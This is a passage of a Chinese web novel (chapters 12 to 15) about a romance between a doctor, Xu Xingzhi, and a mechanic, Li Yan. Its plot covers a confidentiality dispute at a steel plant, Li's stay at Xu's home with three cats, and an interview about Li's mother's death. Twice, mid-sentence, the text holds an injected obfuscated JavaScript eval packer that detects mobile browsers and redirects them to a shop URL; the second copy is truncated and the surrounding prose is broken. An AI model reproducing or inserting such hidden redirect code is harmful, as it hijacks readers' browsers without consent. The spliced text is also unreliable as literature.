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这天许行之到家的时候,三只猫同时冲了出来,绕着他的腿来回打转,尾巴挨个儿扫到了他小腿上,许行之才反应过来昨天晚上和今天上午都没有放粮,他信不太着那些自动储粮桶,总觉得养猫如果连喂食都省略了的话,就少了很大一部分与它们沟通的机会。他先是到厨房里开了个罐头,三只猫咪的透明小碗里瓜分好各自的量,两只手带着三个碗到客厅一字排开,指导它们到各自的碗里吃,接着用塑料杯挖了一勺猫粮,放进了猫粮碗里。 他给自己下了一碗面,下完了才发现没有配菜,只能用熟酱炒了个鸡蛋,又扔了点榨菜进面碗里,吃面的时候热气氤氲了上来,眼镜上都是雾气,摘了眼镜放到桌上的时候,他才开始想,好像挺久没在家吃晚饭了,如果没有这三小只东西,自己可能就回来睡个觉吧。 时间还早,许行之又打开了电脑,在客厅沙发上查着文献继续自己的论文。 不知过了多久,餐桌上垂着的吊灯有一个灯泡暗了一下,许行之抬头看了看,不以为意,低下头又继续了,又过了一会儿,他觉得不对劲,灯泡亮得发白,最终灭了,和上次在李炎的汽修店里一样,家里没有替换的灯泡,许行之直接起身去把吊灯的开关关了,顺便扫了一眼时间,李炎这会儿应该快到了。 想到李炎,写论文的心思就断了,许行之收拾好了电脑,坐在沙发上打开了电视,随便拨着台,一直没定下来看什么。 电话响了,看到来电人是李炎的时候,许行之还惊讶了一下,他以为李炎只会给自己发个微信而已。 “喂。” “我到了。”李炎说。 他那边的背景音不像傍晚那么嘈杂,是因为挺晚了的关系吧,许行之说:“好,早点休息。” “明天一早就送去,放心吧。” “谢谢。” “棒棒糖是我放的,”李炎说,“那天你睡着了之后。” 许行之愣了。 “没别的意思,就是看你好像提到了照片后不太开心。” 许行之拿着电话的手下意识地捏紧了些,还是没说话。 “高兴点儿吧啊,大聪明。”李炎的声音里带着笑,“挂了啊。” 这次李炎没有犹豫,直接挂断了电话。 这天晚上,许行之洗完澡了之后,拿出了李炎给他的那件T恤穿在了身上,可能因为有点贴身,来回翻腾睡不着,索性脱了裸|睡,右手却抓着T恤没有放,睡不着就拿起来闻一闻,越闻越清醒,那天晚上“意外”的记忆一层一层叠过来,空调打到了25度还是觉得热,他叹了口气,半坐了起来,左手伸进了被子里。 12. 第12章 第二天李炎早早地起来了,梳洗的时候特意把头发扎得比较严谨,脑袋边的碎发都尽量箍了进去,还特意选了件白色T恤和一条普普通通的牛仔裤,照镜子的时候他对着镜子里的自己笑了笑,嗯,不错,有点儿……好学生的样子。 虽然说自己原来也是钢厂的子弟,但到底那件事发生了之后,基本就和钢厂不联系了,许行之给的文件袋挺厚的,他有点惊讶这就一个月的时间,怎么就能整理出这么多内容来,想到这里他勾了勾嘴角,高材生就是这样的吧,他想。 出门的时候下了点细密的雨,换作平时李炎一定不会撑伞,但今天拿着文件,虽然包着塑料袋,但他还是拿了一把,把文件护在胸口就去了钢厂,进大门的时候没什么压力,门卫的老大爷还认识他,还关心了一下他爸现在如何,李炎谢过了人家顺便问了下工会的办公室,老大爷说就在办公室5楼,本来人还想送李炎上去,他婉拒了,大爷临了还关照他现在是家里的顶梁柱了,虽然压力大了点儿,很多事情过去了就让它过去吧,别太纠结,李炎叹了口气浅浅笑了一下,没回应,就顺着老大爷指的方向往前走了。 之前老李是钢构这边的钳工,按资质来说还是个二级技师的老师傅,在车间里老李有不少徒弟,一些器械问题上一般小师傅检查不出来或者搞不定的,都会请老李来看一看,李炎一直到16岁,都经常活跃在钢厂的车间里,那会儿工人们都夸老李生了个清秀活泼的儿子,将来娶媳妇一定很容易,但16岁李炎对自己家里出柜之后,老李就再也不让他来钢厂了,清秀活泼的儿子蓄起了长发,怎么看都容易落人口实。 因为他妈妈的关系,办公室这边李炎也没少来,但现在这楼是翻新过的,李炎不熟悉,找到了电梯之后摁了5楼,到了5楼后看到办公室的门基本都关着,李炎有点犯怵,站在电梯口翻出了和许行之的微信聊天记录,一串号码和赵老师的字样,他摁下了那串数字打了电话过去。 “喂?” “你好,请问是工会的赵老师吗?”李炎问。 “我是,您哪位?” “我来替许医生送文件,已经到5楼了。” “哦哦好的,不好意思我这边手边有点事走不开,能麻烦您送到503来吗?” “好的。” 电话挂了之后李炎往走廊里走了走,看着门口的数字从508一直往下变小,直到停在了503办公室门口,他吸了口气敲了敲门,里面的人喊了声请进,李炎也没客气,直接按下了执手推门进了屋,却记得把还在滴水的伞放在了门口,刚要把文件给屋里的人,李炎愣住了。 “赵建明?!”李炎脱口而出,“怎么是你?” 赵老师也愣住了,“许医生和你认识?” “关你什么事,”他妈的,要知道给这人送文件,就不来了,省得来火还尴尬,“文件我送到了。”李炎直接把文件往这人桌子上一扔,转头直接就想走了。 “慢着。”另外一个声音响了起来,李炎这会儿才注意到办公室里还有另一个人,“你是谁?” 李炎满脸不耐烦,转过头去的时候横眉冷竖的,“你又是谁?” “奚主任奚主任,不好意思,实在抱歉,他来送材料的,马上就走了,”赵建明走到李炎旁边,推了推他的胳膊,“走啊,看什么呢。” 李炎嘴里啧了一声,甩开了赵建明的胳膊。 “哪个部门的?”叫奚主任的人又开了口。 “没有没有,厂外的厂外的。”赵建明又给李炎使眼色,李炎也懒得呆,转身就要走。 “让你走了吗?”奚主任又叫住了李炎。 这又来一下子直接把李炎的火儿给勾了起来,直接也不走了,回头直接一屁股坐在大办公桌前,两腿一摆,“行,不走了,今儿就搁这住下了。” “奚主任,我的错我的错,我应该直接出去拿的,没想到打断了我们的工作了。” “小赵啊,他送的什么材料啊?”奚主任没有接赵建明的话茬,直接换了个话题。 “这……”赵建明有些吞吞吐吐,“下午三重一大的一个课题材料。” “我问你的是什么材料,没问你在哪用的。” “钢厂老职工的心理评估报告,包括退休职工的。”赵建明如实说。 奚主任是钢厂纪检部门的,大名叫奚正,正在工会与赵建明谈事儿,恰巧李炎这会儿送了材料过来。听这俩人一来一回的说话,李炎倒也没太放在心上,既然不让走,他倒也坦然坐下,现在家里和钢厂没关系了,倒也不怕他们找什么麻烦,就是觉得奚主任这态度,实在恼人,而且这口气,应该平时就没少这样,不是钢厂的也管,也不怕管得太宽,倒想看看这个人怎么收场。 “这么隐私的内容?”奚正问赵建明,“保密协议呢?” 赵建明心里一凉,保密协议只和许行之的课题组签过,李炎明显不是课题组的人。 奚正见赵建明没说话,又追问了一句,“和他签了吗?” 赵建明搓了搓手,“那个,下午赶会,是请许医生托朋友顺路带回来的,而且文件封着口,他肯定没看过。” 听到这里,李炎觉得有些不对劲,从椅子上站了起来,走到两人的旁边,皱着眉说:“我可没看过啊,许行之给我什么样就什么样,塑料袋我都没拆过。” “赵主任,”奚正明显就不想让这事儿这么轻描淡写地过去了,对着赵建明说:“事事都要落于纸笔,你忘记了吗?” “马上签!马上签,奚主任您别生气,我这就给他签约。” 没想到奚正冷笑了一声,“赵主任这是在钻空子吗?” 这一句话下来,赵建明和李炎都皱了皱眉,赵建明用力瞥了一眼李炎,都怪他刚刚口无遮拦,这会儿好了吧,被人抓小辫儿了吧。 “我文件也送了,坐也坐了,你们说的和我都没关系。”李炎再次走到门口,手刚握上门把手。 “没有保密协议的话,做这个项目的课题组需要重新审核,可能还会涉及赔偿,”奚正没有对着李炎,而是对着赵建明说,“赵主任,你知道的吧?” 空调房里的赵建明已经有点儿急得要出汗了,只好声声应着。 李炎后牙槽都咬紧了,又走了回来,咬牙切齿道:“保密协议呢?拿来,我签。” “赵主任,我现在有充分的理由怀疑这份文件的保密性,下午的会,就不要提这件事了,”奚正这会儿倒没有咄咄逼人了,只是说出来的话让赵建明更不知所措,“按照规定,这位需要去上级单位走一下审核流程。” “什么意思?”李炎皱眉皱得更深了。 “后面的事情赵主任你安排下吧,文件里都有明确流程,”奚正走到赵建明旁边拍了拍他的肩膀,“建明,没办法,规范流程的事情任重道远,我也是按章程办事,出了纰漏谁都不好看。” 赵建明叹了口气,点了点头,“我明白,奚主任。” 奚正准备离开办公室,走到李炎边上的时候,被李炎拦了下来,听得出来他的声音里压着火,“你还没回答我的问题。” 奚正转过头看了李炎一眼,“年轻人火别这么旺,容易吃亏。” “我操!”这句话直接把李炎的火挑了出来,他双手捏着奚主任的衬衫领子往自己这边一拽,“你他妈没话说了对吧?” 赵建明见状赶紧三步并着两步跑过来,使劲拉开李炎的手,“李炎!!” “你别叫我!” “许行之是你朋友吧!?”赵建明说,“你不想他有问题吧!” 李炎这才松了手把奚正往外一推,眼神恶狠狠的,鼻息都很重,“你们他妈这些人,一个个道貌岸然的,还好意思做心理评估?都他妈是披着羊皮的狼!老子早他妈看透了!” “少说两句!”赵建明吼道,又转过去对着奚主任说:“奚主任您先忙,我和他谈,一定按照章程来办,您放心。” 等奚正出去后,赵建明一屁股坐在了沙发上,言语里有些自责,“如果不是我想着下午汇报,就不会有这档子事儿了。”他看了看旁边的李炎,“你可能要去一趟B市钢厂的上级单位配合做一下审查流程,你啊你啊,还是这么冲动。”赵建明指着李炎说道。 “你别这么跟我说话赵建明,我根本不想看见你,”李炎说,“我不去。” “你妈妈的事情我早就跟你——” “我警告你,别提我妈,”李炎说,“你们爱咋咋地吧,我管不着,我也不想再和钢厂有什么关系。”说罢就打算出门。 “你就这么走了的话,许行之可能会受影响,连带着整个课题组,”赵建明说,“你也无所谓吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338563|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李炎一把扯掉了扎着的头发,手指插进发丝里来回捋了捋,深呼吸了两下,最后还是一脸不爽的坐了下来,“要怎么做,你最好一次性说清楚。” “去B市走审核流程,大概有两轮,前后间隔估计两个工作日,也就是差不多一星期。” “钢厂什么时候这么麻烦了。”李炎皱着眉。 赵建明苦涩的笑了笑,“要发展,总是要规范的。” “来回车费住宿费报销吗?”李炎问赵建明,赵建明摇了摇头,“我他妈还得自己出钱?” “或者……”赵建明噎了噎,“你可以找许医生,这事儿跟他多少也有点关系。” “你倒是挺会出招儿。”李炎白了他一眼,“等着把地址和流程发给我。”他拿出了手机,亮了个二维码给赵建明。 赵建明见李炎主动拿出二维码了,立刻拿出手机扫上了,顺势就问了问他近况,“你和你爸,还好吗?” “跟你没关系。”李炎说。 “好、好……”赵建明叹了口气,“一会儿我就发你,也会给许医生打个电话。” 李炎没回头,直接走出了办公室,伞都忘了拿,出钢厂的时候雨下得又大了点,雨点子打在身上很明显,李炎抬头往天上看了看,乌云都团在了一起压了下来,他突然想到了好几年前的那天,自己已经好几天没回家了,任性得连手机都没开,回来的时候邻居冲出来让自己赶紧去医院,自己就在雨里跑啊……跑,跑到医院的时候感觉自己的魂都丢在了后面,但还是没赶上……见他妈妈的最后一面,他爸也还在手术室里抢救……旁边好像有很多人在说话,但他听不见,护士让他去看他妈妈一眼的时候,他害怕得不敢进那个房间…… 雨下得更大了,李炎的头发都湿成了一缕一缕的,身上的白T恤也贴了身,脚踩进了水塘里也感觉不到。 电话铃响了,他接了起来,没有说话。 “李炎?我是许行之。” 听到许行之声音的一瞬间李炎鼻子一酸,好像有雨水流进了眼睛里,但他不知道为什么雨从下眼睑顺下来的时候是温热的。 “李炎,你在听吗?” 李炎清了清嗓子,他猜许行之或许是来问自己文件有没有送到的吧,刚刚听赵建明的意思,如果自己不找他的话,或许这件事不让他知道也是可行的。“在,文件送到了已经。” 许行之那里沉默了一会,“怎么不说实话?” 不知道是不是自己的鼻音出卖了他,李炎心里想,说什么实话,实话就是我一个没忍住呛了个领导,导致你的调研报告出了岔子。 让我偷偷弥补不好吗,一定要看我狼狈吗? 这雨,怎么就下不停啊。 “我们大漂亮怂了啊?”许行之又问,语气轻松还带了点笑意。 “没事挂了。” “别挂,”许行之话头跟得也急,他有点担心李炎真的挂了,“我还没谢谢你。” “谢什么?谢我搞砸了吗?”李炎觉得好笑。 “谢谢你那么生气,还愿意帮我。” 这人看事情的角度有点儿刁钻啊,明明如果自己不生气,就不会有事。 “我不想因为我的关系而影响到你的工作,”李炎找了个杂货店门口站定了,雨水从叠加在屋檐上的挡雨板上流下来,串成了水帘,“做了挺久的吧,那么厚。” “嗯,挺久的。”许行之又说,“你带着这份报告也走了挺远的。” 李炎啧了一声,“你想说什么?” “你如果不想来,这份报告算了就算了,后续我来解决。” “不用。”李炎快速回答道,“我来。” 两个人都沉默了一会儿,许行之开口,“其实我刚刚也问了赵老师审查流程的时间,那……这周末你是自己过来,还是我开车来接你?” 刚刚还感觉不到湿衣服的皮肤这会好像恢复了知觉,头发、裤子、鞋子,没有一个地方是觉得舒服的,黏糊糊地都贴在身上。 “我自己过来,坐高铁。”李炎说。 “发车次给我,我在南站出站口等你。” “我自己——” “我来接你,就这么定了。”许行之说,“不然我就跟顾飞说了,他总能撬开你的嘴吧?” “行。” 算你牛逼,许行之。 13. 第13章 李炎从来没想过,竟然会短时间内重复来这里两次,上一次来的时候是自己摸索的,这次有人来接,的确感觉有些不一样,许行之穿着短袖白衬衫和休闲西裤在出站口挺扎眼的,李炎都不用正眼去看,就知道许行之站在那,帅得太过份了,认真瞧他都觉得晕。 “来了啊,”许行之先迎了上来,“顺利吗?” “不顺利你能见着我么?”李炎白了他一眼,废话文学呢么不是。 其实出门前还是被他爹骂了一顿的,老李那句“让你别招惹那人非不听”一直盘旋在脑子里,但出门前他还是问了李炎带的换洗衣物够不够、钱够不够之类的,最后留了句“注意安全,平安回家”让李炎差点破功,以前再怎么闹都没有离开这座城市那么久过,他爸妈也由着他,好像他只要在市里,总不会翻出什么大浪。 许行之顺手就取过了李炎的行李箱,毕竟要呆一个礼拜,即使是夏天,一个背包也不够,李炎也没阻拦,任由许行之拿了过去。 两人走着路,许行之侧过头问李炎,“定酒店了吗?” “我以为你全包呢?”李炎也回看了回去,他也只是想和许行之开个玩笑,这一路过来想东想西的,他心里其实有些不太顺畅。 “哦,这样啊,”许行之笑着点了点头,“行啊。” “不是,我开玩笑的,”这人怎么这么不经逗呢,说什么都当真啊。“没定,随便找一家便宜点的凑合就行。” “上我家住吧。”许行之说,“免费。” “什么?”李炎以为自己听错了。 “上我家住,不要钱。” “不太好吧草哥?”李炎突然叫了一声许行之从来没从他嘴里听过的昵称。 “你要对我图谋不轨吗?”到了停车场,又到了熟悉的沃尔沃S90面前,“还是你怕啊?” “哎我操,我怕什么?” 许行之先开了后备箱,把李炎的行李箱放进去,“又不是只有一张床。” “哎不是你……”李炎觉得有点儿接不住许行之的话,嘴也愣着,身体也愣着。 还是许行之先打开了副驾的门,“上车。” 这会儿李炎倒没多犹豫,直接上了车系好了安全带。 “我家离你要去的地方挺近的,三站地铁就到了,附近的酒店不便宜,便宜的酒店你不方便,这样的解释能接受吗?”许行之是坐定了之后系好安全带才和李炎说的这一溜话的。 “嗯,”看来许行之不仅问了赵建明当天的情况,连接下来的安排他都问好了,打听得挺细啊,这一句解释让李炎觉得有点心痒,还有点儿热乎。“那我就勉为其难住你家吧。” 许行之笑了出来,在停车场单手打方向盘转弯的样子很从容,“我该说什么?恭迎大漂亮?” “电视剧看多了吧你。” “要抽烟吗?”许行之问他,“不用顾忌我,你随意就行。” 直到许行之问,李炎才反应过来自己下了车之后到现在都没抽过烟,甚至在见到许行之后连想都没想过。 “我在你眼里是个老烟枪吗?”李炎挑了个眉毛,许行之用余光看见了,“你漂亮哥烟瘾不大。” “你跟我同年,我了解过了,”许行之说,“我以为你抽烟挺享受的,姿势都很……”许行之顿了顿,“性感。” 许行之,你他妈今天吃春药了吗?搞得人心黄黄啊。李炎忍不住啧了一声。 “我问过了,那也不是个审核流程,赵老师他们没来过这应该不清楚,”许行之一边开车,平视着前方,慢条斯理地说着话,好像获取这些信息并不费什么功夫,“就是个密保谈话,但可能因为你……属于钢厂的前家属,所以可能会严格一些,要来两轮。” “你调查我?”李炎问许行之。 “我第一次和你爸说话的时候就知道了,”许行之倒也坦然,“具体什么事我不清楚,也没打听。” “哦。”刚刚有点儿起来的气焰又灭了。 “你来和顾飞他们说了吗?一会要不要一起吃饭?” “他俩挺忙的,我没说。”李炎回答,“而且这不是上个礼拜刚见过,鬼知道这么快又来了。” 坦白说,这会儿如果和许行之同时出现在顾飞和蒋丞面前,李炎都不知道他俩会是什么反应,是不是会想自己脑子开窍了,决定要把握一下他了,还是真的对玄幻有了什么特殊的期待。 “我的问题,给你添麻烦了。”许行之对李炎说。 “你书读狗肚子里去了吧?”这人脑子绝对秀逗了,“不关你事。” 本来以为许行之会直接带去吃饭,直到车开进了一个小区后,李炎才反应过来他直接把自己带回家了,许行之住的小区很……高级,十来楼的小高层,间距很大,外立面很新,绿化环境也很好,还有一些造景,像小公园一样,车开进地下车库的时候,李炎发现通道的墙面被装饰成了星空墙,应该是声控的,车开过去整面墙都会依次被点亮。 吸取了上回定酒店的经验,李炎这次特意选了个不早不晚的时间,到达的时候正好是下午,却没想到这次不用找酒店了,很意外,是惊是喜这会儿也说不清楚。 一直到许行之的家门口,李炎就没拿过行李箱,他也任由许行之拿着,但这人就站在门口也不动,李炎用眼神表达了疑问和催促,开门啊? “忘了问你,怕猫吗?”许行之说。 “读书好的可能记忆力不一定好吧,”李炎回答道,“之前借给顾淼的肥羊,我还抱过呢,你忘了?” “还真不记得了。” “跟猪一样,你身材这么好的人,怎么能把猫养这么肥?” 许行之看着李炎没说话,左眼的眉毛不经意地轻轻挑了下,才转过身去开门,门一开许行之就迅速地先把行李箱塞了进去,李炎才明白为什么他刚刚在家门口没立刻开门。 因为有三只猪会冲出来。 两人迅速地进了家门,李炎才看到,玄关鞋架这儿放着两双拖鞋,心情突然有点复杂,下巴朝拖鞋的方向抬了抬,“家里有人?” “给你准备的。”许行之说。 李炎心里冒了个问号。 心里波澜了一会儿,但李炎表面倒挺淡定的,规规矩矩地换好了拖鞋,再把自己的鞋放在鞋架的最下面那层。 许行之拿湿巾擦了擦行李箱的四个轮子,回过头看到李炎整张脸都写着“讲究人”的表情时,没忍住笑了出来,轻咳了两声说:“外面带回来的怕有细菌病毒虫卵什么的,猫老在地上跑。” “我可什么都没说啊。”李炎说。 许行之笑了笑,没再说话,接着就把行李箱推到了南边的一个房间里,李炎慢他两步,这会儿正站在客厅中央,许行之回过头话里有些疑问,“怎么不进屋?” 李炎哦了一声就进了屋,屋子里的地板和家具都是棕红色的,床单、薄被和枕头都是淡淡的肤色,窗户这里是几乎能躺下一个人的飘窗,上面还铺着白色的海绵垫子,他有一点不知道该干什么,愣着的时候,许行之就把一把钥匙交到了李炎手里,还有一个圆不溜秋的门禁卡。 “门禁卡是刷小区大门和下面进楼道的。”许行之说。 “好的,谢谢。” “你有什么想吃的吗,晚上?”许行之问,“只是这里的烧烤可能没你们那的好吃。” “我都行,出去随便吃点吧。” “你会做饭吗?”许行之没有搭理李炎的回答,反而自顾自地问道。 “累,不想做,出去吃吧。我们那吃东西挺方便的,不像你们还要开车去商场,麻烦死了。” “哦, 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“……讲究死你算了。”李炎嘟囔了两句,却还是把有点发了黄的菜和有虫洞的地方摘了放了进去,把菜叶子一片片掰下来的时候,李炎回过头看了一眼许行之,人正拿着青椒的梗子往里怼,然后直接往外把梗子这一撮儿直接拔掉,手法熟练得刮目相看。青菜弄完了后,李炎又拿了个盆儿,把蘑菇都倒了进去,挨个搓着上面棕色的灰,他感觉自己身后没声音了,就又回过头看许行之,正好看到许行之也在看他,手里拿着两个番茄。 “你要用水槽?”李炎问。 许行之摇了摇头,“没有。” “那要我帮你拿什么吗?” “不用。” “那你看我干嘛?” “看你会不会洗蘑菇。”许行之说。 “这……不是他妈搓搓就行了的?”李炎声音里没好气,“不就是蘑菇吗,老子什么蘑菇不会……洗……”越说声音越低了下去,然后清了清嗓子。 “差不多了,我来切吧。”许行之倒没什么反应,“你呆边上就行。” 一顿饭做下来,整整过了一个小时,许行之从灶台忙活到水槽,又从水槽忙活到台面,左手顾着电饭煲,右手拿着锅铲,李炎什么忙都没帮,就一直倚在台面的一角看许行之忙活,只有在菜下油锅的时候,才离灶台远了点,以免崩到油星子,端菜的时候倒是勤快,一趟一趟的往外跑,许行之把围裙摘下来的时候,李炎正好在厨房里拿筷子,两个人都要出厨房门的时候许行之让了一下,李炎过去的时候就就多看了他一眼。 青椒肉丝、青菜炒蘑菇、番茄蛋花汤,两菜一汤,红红绿绿的很漂亮。 不得不说许行之虽然做的虽然都是家常菜,但色香味绝对在线,一吃就知道是经常做饭的人,李炎光顾着吃饭都没和许行之说话,又夹了一筷子菜吞了一口饭后,许行之才说了句“慢点”,李炎听着心里扑通扑通的。 饭后李炎要洗碗许行之也没让,说怕他手劲儿太大把碗给整碎了,李炎觉得他有点儿不识好歹,也没多搭理他,自然而然地坐在沙发上看电视,刚拨了个几个台就觉得腿边痒痒的,低头一看是一只白猫用腮帮子在蹭他的小腿,给他吓一跳,刚想站起来,就听到了许行之说:“这是金针菇,你动作别太大,吓着它。” 这下李炎就没动了,两条腿都绷得紧紧的,接着金针菇就蹭着沙发沿跳了上来,晃悠到了李炎的大腿上趴下了,还抬头看了看李炎,琥珀色的眼睛还挺好看,跟玻璃珠子似的。 “它好像很喜欢你。”许行之说。 “我可以摸摸它吗?” “试试呗。” 手感真好啊,李炎想,又软又暖,还在金针菇的尾巴根儿附近挠了挠,“它好像很喜欢被我摸这里。” 许行之走到了玄关那,又走了回来,把一个烟灰缸放到沙发前的茶几上。“嗯,猫都喜欢被摸那儿。” 看着眼前的这个烟灰缸,李炎终于问出了进门就想问的问题,“你是不是……早就想好了让我住你家?” 许行之看着李炎的眼睛没躲闪,“是。” 李炎没接话,躲开了眼神,低头顺了顺金针菇的背。 金针菇舒服得眼睛都眯了起来。 14. 第14章 当天晚上睡前是最尴尬的,李炎本来是打算住宾馆的,所以根本没准备洗漱用品和毛巾,许行之从给李炎安排的房间里的衣柜里拿出毛巾和浴巾的时候,李炎特别想问问他你什么意思,引人入坑还是守株待兔啊,但看着许行之那张沉静如水的脸的时候,还是把问题吞进了肚子里,直到许行之把他引到客厅的洗手间的时候才松了口气,因为主卧自带了卫浴,所以许行之基本不会用客厅的那个,两人几乎不会在洗手间撞上,李炎心里想,太好了。 刚放松的脑弦在看到牙杯的时候又紧绷了起来,奶黄色的牙杯、奶黄色的牙刷,再看看毛巾,也是奶黄色的…… “许行之,你是色盲吗?”李炎直接笑了出来。 “色盲?”许行之不解。 “那么喜欢奶黄色啊?” 许行之皱了皱眉,嘴里的话倒不含糊,“我以为你喜欢。” “我喜欢你就给我买?” 许行之不置可否,点了点头。 李炎就在嘴边的“我还喜欢金子呢你给我买吗”没问出口,他没敢问,答案肯定或者是否定,他都不太想听到。 后来李炎就在客厅的卫生间里洗漱、冲澡,打开许行之的沐浴乳的时候,李炎把瓶子放到鼻子下面闻了闻,清新、像海,抹在身上还有一些磨砂的质感,起的泡也很细密,他很喜欢,打算第二天问问许行之是什么牌子的。 许行之提醒了句李炎晚上睡觉别关门,猫可能会来回走,碰着门关了肯定会挠门,还得下来给它们开,挺麻烦的,李炎就听了,一开始灯全关了后就感觉有来来回回指甲点地的声音,李炎不太习惯,又记下了明天要叫许行之给猫剪指甲的事儿,半夜的空调不知道怎么就调高了,李炎觉得有点热,翻了个个儿睡,头发从床尾垂下来,半梦半醒之间感觉头发被什么玩意儿勾了一下,给他吓得一哆嗦,喊了出来,就听到了咚咚咚的脚步声过来了。 许行之一手拍开了灯,问李炎怎么了,他说有东西挠他的头发,许行之才松了口气,在飘窗上看到了摆了个农民揣的毛肚,就和李炎说可能是猫够的,又问他怎么倒过来睡了,他说热,许行之找了一圈空调遥控器,发现在毛肚脚边,大概知道怎么回事了,给李炎调回了26度,轻轻拍了拍他的肩膀说转回去睡,脑袋在床尾被空调直吹容易着凉。李炎在许行之关灯前看了看许行之,灰白色的T恤和藏青色的平角裤,拍自己的手臂很长也看起来很有力,没戴眼镜的眸子更深邃了,眉毛的颜色很浓,头发碎碎的…… “别看了,睡吧大漂亮,”许行之把灯拍灭了,“晚安。” 竟然被他发现了,李炎也回了他一句,“晚安。” 第二天早上李炎醒过来的时候,许行之已经出门了,贴了张便签在李炎的房门上,一个是提醒他桌子上有买好的早饭,另一个是自己去钢厂上级单位参加密保谈话的路线,李炎捏着这个便签没有扔,而是一折一叠放进了裤袋里。 喝牛奶的时候三只猫都围了过来,挨个蹭他的小腿,昨天蹲在房间飘窗那的那只还用尾巴尖儿勾他的腿,李炎对着它小声说了一句小妖精,但还是没把牛奶分给他们喝,讲究人养猫估计也讲究,万一吃坏了还得怪他。 出门前三只猫他挨个儿揉了一把,关门前还说了声拜拜,李炎觉得今天的开头还挺愉悦,毛绒绒的手感的确能让人放松,怪不得那会儿顾淼也喜欢。 到那家单位的时候李炎还是给赵建明打了个电话,说自己现在就在单位门口,让他赶紧跟上面的人说,早点做完审查他好早点儿回去,赵建明倒也没多话,说自己去沟通一下,不一会儿就有个类似秘书的人把自己接了进去。 虽然没有想象中的老虎凳、单面玻璃和大台灯,但密保谈话被安排在了一个非常小的会议室,只能坐下四个人,他对面坐着两个人,一个带着大黑框眼镜笑嘻嘻的,另一个人则是一脸严肃,还带着纸笔,李炎觉得这个笑面虎肯定比这个一脸正经的难搞。 对方的人没提自己的姓名,只是与自己确认了身份,又让自己把手机关机,还拿了自己的身份证去复印,一套流程下来李炎都很配合,到了正式密保谈话的时候,那个拿纸笔的人去给自己倒了杯水,李炎谢过了人家后,两手一叉放在了身前,整个姿势非常放松,好像就是来喝茶似的,但第一个问题就让他捏紧了拳头。 “我们对你母亲的遭遇深表遗憾,但是能说说具体情况吗?” 李炎的妈妈一直是她的逆鳞,在她还在世的时候,无论李炎怎么任性、怎么闹腾,他妈永远在李炎回到家的那一刻问他,“儿子,饿不饿?妈给你弄点吃的?”以至于李炎在他妈离世的这几年里,他都没怎么敢进过厨房,那个灶台前再也不会有围着围裙的人了,每每想到这里他都觉得窒息。 “这个好像和这次的调研报告没关系吧?”李炎下意识去摸烟,但从昨天来到这开始,他真的就一根都没再抽过了,口袋里空空如也,“我可以不回答吗?” 面对着自己的两个人没说话,但态度已经摆得很明确了,需要他回答。 可李炎也不想说话,那谁也别说,都干耗着好了。 最终还是那个笑面虎先开了口,“李先生,不好意思,没有冒犯的意思,我们需要排除一些动机。” “什么动机?跟我妈有什么关系?这个调研报告还包括几年前的事故吗?” “还是希望配合一下,我们今天的谈话都是保密的,你可以放心。”说话的人顿了顿,他指了指旁边写字的人,“这位是书记员,我们所说的任何话他都会记录下来,如果上级领导判断下来有问题的话,那这份调研报告失效的可能性就非常大了。” 李炎捏紧的手都有点抖,不知道脑子里怎么突然闪现出了许行之的脸,又冒出了那句话,我们大漂亮怂了啊?李炎就稍稍冷静了点下来,既然是自己决定要来的,那面对这一切都是自己选择受着的,他先是喝了一口水,然后又恢复到了刚刚轻松的姿势。 “我妈是原来钢构那边的监理,这个你们应该知道吧?”李炎问面前的这两个人。 见他俩点了点头,李炎才继续说了下去,声音很低,听不出什么情绪,整个人好像暗了一度,“我也是后来才知道的,那天我一直……在外面,很晚才到家。”说到这里,李炎还是有点控制不住哽咽了,他用力眨了眨眼睛,“那天钢构那边有验收,出货有点赶,是我爸开车送我妈去的,我爸说,进钢构厂房的时候大家都没觉得什么,有份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我可以很负责任地告诉你,”李炎几乎有些咬牙切齿,“无论怎么赔偿,我们都觉得不够,我爸的腿不会长回来,我妈也再也不会回来了。问完了吗,我可以走了吗?” “可以了,感谢你的配合,”黑框眼镜起身作势要和李炎握手,“下一次谈话应该在周四,你直接进来报名字就可以了。” 李炎没有去握这个人的手,他今天的确感觉到被冒犯了。 离开这里的时候李炎并没有直接去坐地铁,临近中午,他就这么在太阳底下暴晒着走,他想把留在自己身体里的那天的潮气晒干,可就算晒到自己大汗淋漓了,还是觉得无效,他拐进了一家小超市,要了一包烟后才发现手机没开机,打开了手机后叮叮叮进来了不少短信,李炎没去看,先扫了烟钱,想了想又拿了瓶矿泉水,出门后先是喝了一口水,又点了根烟,才想起来看手机。 6条许行之的未接来电提醒。 可能这地儿信号不太好,微信一直在显示加载中。 除了一些约修车洗车的微信之外,许行之的微信被没到了第二屏,大拇指往下翻了翻,点开了许行之的对话框,只有一句话和一张照片。 知:这些你喜欢吗? 配的照片是放在桌上的一大桶棒棒糖。 李炎就好像委屈了很久却没有人安慰的小孩,心里的酸涩突然冲破了桎梏,他瘪着嘴用夹着烟的那只手的手掌底部揩了一下双眼,又笑着骂了一句,“傻逼。” 15. 第15章 这天许行之没有在医院食堂吃完饭,直奔了停车场,遇到自己科室主任的时候还被问了一句今天怎么不在食堂吃晚饭了,许行之笑着点了点头没说什么,主任医生的表情倒是有点意外,也笑了笑就朝着自己的车走了过去。 上车的时候他又特意打开了手机反复看了看,还特意关注了一下信号格,挺满的,但李炎一天都没联系自己,六个电话应该足够表达自己的着急和关心了吧,这人怎么也不回个电话啊。车开上马路的时候许行之才反应过来,已经多久没有在晚高峰回家了,看着高架上一排红色的刹车灯,心里倒是不太着急,红色映到副驾上的购物袋的时候,他还勾起嘴角笑了笑。 